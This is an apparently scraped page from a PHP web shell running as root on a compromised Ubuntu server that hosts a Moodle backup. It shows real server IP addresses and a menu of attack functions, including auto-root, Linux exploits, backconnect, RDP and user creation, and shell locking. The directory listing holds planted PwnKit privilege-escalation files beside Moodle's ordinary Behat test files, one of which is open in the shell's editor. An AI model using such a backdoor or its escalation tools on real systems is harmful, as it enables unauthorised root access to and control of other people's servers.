Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
group /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
auto_creation.feature
7.53
KB
-rw-rw-r--
behat_groups.php
4.86
KB
-rw-rw-r--
create_groups.feature
5.54
KB
-rw-rw-r--
delete_groups.feature
3.36
KB
-rw-rw-r--
group_description.feature
4.54
KB
-rw-rw-r--
groups_import.feature
6.08
KB
-rw-rw-r--
id_uniqueness.feature
2.39
KB
-rw-rw-r--
overview.feature
9.36
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
role_visibility.feature
2.46
KB
-rw-rw-r--
update_groups.feature
6.43
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : create_groups.feature
@core @core_group Feature: Organize students into groups In order to organize course activities in groups As a teacher I need to group students @javascript Scenario: Assign students to groups Given the following "courses" exist: | fullname | shortname | category | groupmode | | Course 1 | C1 | 0 | 1 | And the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | | student0 | Student | 0 | student0@example.com | | student1 | Student | 1 | student1@example.com | | student2 | Student | 2 | student2@example.com | | student3 | Student | 3 | student3@example.com | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | | student0 | C1 | student | | student1 | C1 | student | | student2 | C1 | student | | student3 | C1 | student | And I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to "Users > Groups" in current page administration And I press "Create group" And I set the following fields to these values: | Group name | Group 1 | And I press "Save changes" And I press "Create group" And I set the following fields to these values: | Group name | Group 2 | And I press "Save changes" When I add "Student 0 (student0@example.com)" user to "Group 1" group members And I add "Student 1 (student1@example.com)" user to "Group 1" group members And I add "Student 2 (student2@example.com)" user to "Group 2" group members And I add "Student 3 (student3@example.com)" user to "Group 2" group members Then I set the field "groups" to "Group 1 (2)" And the "members" select box should contain "Student 0" And the "members" select box should contain "Student 1" And the "members" select box should not contain "Student 2" And I set the field "groups" to "Group 2 (2)" And the "members" select box should contain "Student 2" And the "members" select box should contain "Student 3" And the "members" select box should not contain "Student 0" And I navigate to course participants And I open the autocomplete suggestions list And I click on "Group: Group 1" item in the autocomplete list And I should see "Student 0" And I should see "Student 1" And I should not see "Student 2" And I click on "Group: Group 1" "text" in the ".form-autocomplete-selection" "css_element" And I open the autocomplete suggestions list And I click on "Group: Group 2" item in the autocomplete list And I should see "Student 2" And I should see "Student 3" And I should not see "Student 0" Scenario: Create groups and groupings without the 'moodle/course:changeidnumber' capability Given the following "courses" exist: | fullname | shortname | category | groupmode | | Course 1 | C1 | 0 | 1 | And the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | And I log in as "admin" And I set the following system permissions of "Teacher" role: | moodle/course:changeidnumber | Prevent | And I log out And I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to "Users > Groups" in current page administration When I press "Create group" Then the "idnumber" "field" should be readonly And I set the following fields to these values: | Group name | The greatest group that never existed | And I press "Save changes" And I should see "The greatest group that never existed" And I follow "Groupings" And I press "Create grouping" And the "idnumber" "field" should be readonly And I set the following fields to these values: | Grouping name | Not the greatest grouping, but it's ok! | And I press "Save changes" And I should see "Not the greatest grouping, but it's ok!" Scenario: Create groups with enrolment key Given the following "courses" exist: | fullname | shortname | category | groupmode | | Course 1 | C1 | 0 | 1 | | Course 2 | C2 | 0 | 1 | And I log in as "admin" And I am on "Course 1" course homepage And I navigate to "Users > Groups" in current page administration When I press "Create group" And I set the following fields to these values: | Group name | Group A | | Enrolment key | badpasswd | And I press "Save changes" And I should see "Passwords must have at least 1 digit(s)" And I set the following fields to these values: | Group name | Group A | | Enrolment key | Abcdef-1 | And I press "Save changes" And I press "Create group" And I set the following fields to these values: | Group name | Group B | | Enrolment key | Abcdef-1 | And I press "Save changes" Then I should see "This enrolment key is already used for another group." And I set the following fields to these values: | Enrolment key | Abcdef-2 | And I press "Save changes" And the "groups" select box should contain "Group B (0)" And I am on "Course 2" course homepage And I navigate to "Users > Groups" in current page administration And I press "Create group" And I set the following fields to these values: | Group name | Group A | | Enrolment key | Abcdef-1 | And I should not see "This enrolment key is already used for another group."
Close